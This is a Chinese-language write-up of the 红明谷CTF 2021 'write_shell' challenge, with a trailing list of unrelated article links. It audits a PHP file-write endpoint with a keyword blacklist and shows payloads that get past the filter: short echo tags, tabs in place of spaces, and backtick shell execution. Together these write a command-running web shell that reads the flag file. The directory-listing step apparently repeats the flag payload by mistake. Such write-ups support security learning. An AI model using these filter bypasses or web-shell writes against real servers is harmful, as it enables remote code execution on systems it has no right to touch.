当前位置: 首页 > news >正文

[红明谷CTF 2021]write_shell 1

目录

  • 代码审计
    • check()
    • $_GET["action"] ?? ""
  • 解题

代码审计

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){// if(preg_match("/'| |_|=|php/",$input)){die('hacker!!!');}else{return $input;}
}function waf($input){if(is_array($input)){foreach($input as $key=>$output){$input[$key] = waf($output);}}else{$input = check($input);}
}$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){mkdir($dir);
}
switch($_GET["action"] ?? "") {case 'pwd':echo $dir;break;case 'upload':$data = $_GET["data"] ?? "";waf($data);file_put_contents("$dir" . "index.php", $data);
}
?>

传入了两个参数
action=pwd时,显示路径
action=upload时,写入内容

check()

通过正则过滤

preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)

字符串中包含 '、空格、php、;、~、^、+、eval、{ 或 } 中的任何一个,都会被过滤,且不区分大小写
对php的过滤可使用短标签:<?=(代码)?>
对空格的过滤,可使用 “/t” 或 "%09"代替
没有过滤反引号,我们可以在反引号中执行shell命令

$_GET[“action”] ?? “”

$_GET[“action”] ?? “”:这是 PHP 7 中的新特性,称为 Null 合并运算符 (??)。它的作用是判断 $_GET[“action”] 是否设置且不为 null,如果是,则返回值;如果未设置或者为 null,则返回空字符串 “”

解题

先查看路径

payload:?action=pwd

在这里插入图片描述
查看目录

payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>

再访问刚才得到的路径
在这里插入图片描述
访问:flllllll1112222222lag

payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>

在这里插入图片描述

http://www.lryc.cn/news/407155.html

相关文章:

  • 【Go - sync.once】
  • Spark RPC框架详解
  • win10安装ElasticSearch7.x和分词插件
  • Linux中,MySQL的用户管理
  • 个人电脑网络安全 之 防浏览器和端口溢出攻击 和 权限对系统的重要性
  • 美食聚焦 -- 仿大众点评项目技术难点总结
  • 拓扑图:揭示复杂系统背后的结构与逻辑
  • Java面试八股之什么是spring boot starter
  • 探究项目未能获得ASPICE 1、2级能力的原因及改进策略
  • WHAT - 不同 HTTP Methods 使用场景、使用方法和可能遇到的问题
  • Pytorch使用教学4-张量的索引
  • 【Git多人协作开发】同一分支下的多人协作开发模式
  • Vue使用FullCalendar实现日历/周历/月历
  • 社交圈子聊天交友系统搭建社交app开发:陌生交友发布动态圈子单聊打招呼群聊app介绍
  • 【微信小程序实战教程】之微信小程序原生开发详解
  • PHP身份证实名认证接口集成守护电商购物
  • 为什么有了MAC还需要IP?
  • SpringBoot中如何使用RabbitMq
  • LangChain自定义Embedding封装 之 ERNIE Bot
  • Git 安装教程
  • Lua 类管理器
  • 实现领域驱动设计(DDD)系列详解:领域模型的持久化
  • 配置sublime的中的C++编译器(.sublime-build),实现C++20
  • Android14 - 前台Service、图片选择器 、OpenJDK 17、其他适配
  • 数据恢复教程:如何从硬盘、SD存储卡、数码相机中恢复误删除数据。
  • 谷粒商城实战笔记-47-商品服务-API-三级分类-网关统一配置跨域
  • stm32平台为例的软件模拟时间,代替RTC调试
  • 《设计模式之美》读书笔记2
  • C++ STL set_difference 用法
  • 【基础算法总结】优先级队列